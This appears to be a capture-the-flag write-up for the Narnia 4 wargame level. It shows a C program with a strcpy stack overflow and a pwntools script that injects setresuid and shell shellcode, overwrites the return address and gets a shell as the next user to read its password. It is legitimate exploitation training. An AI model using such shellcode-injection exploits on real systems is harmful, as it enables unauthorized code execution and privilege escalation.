Narnia 4#

C File#

1
extern char **environ;
2

3
int main(int argc,char **argv){
4
    int i;
5
    char buffer[256];
6

7
    for(i = 0; environ[i] != NULL; i++)
8
        memset(environ[i], '\0', strlen(environ[i]));
9

10
    if(argc>1)
11
        strcpy(buffer,argv[1]);
12

13
    return 0;
14
}

Approach#

This is basically exactly the same as narnia2

If we make argv[1] large enough it will overflow and rewrite the return address

We make the return address back to the buffer filled with shellcode

Solution#

1
from pwn import *
2
offset = 264
3
payload = asm(shellcraft.setresuid() + shellcraft.sh())
4
payload = payload + b'A' * (264-len(payload))
5
payload = payload + p32(0xffffd124)
6
p = process(["/narnia/narnia4", payload])
7
#p = gdb.debug(["/narnia/narnia4", payload], gdbscript="source /opt/gef/gdbinit.py")
8
p.interactive()

Again we find the offset using cyclic and the address to the buffer using gdb

then we just put the shellcode, fill up the buffer, and add the address of the buffer

We run it and get a shell as narnia5 and open the password file

Conclusion#

Again be careful with strcpy as its an easy way to cause a buffer overflow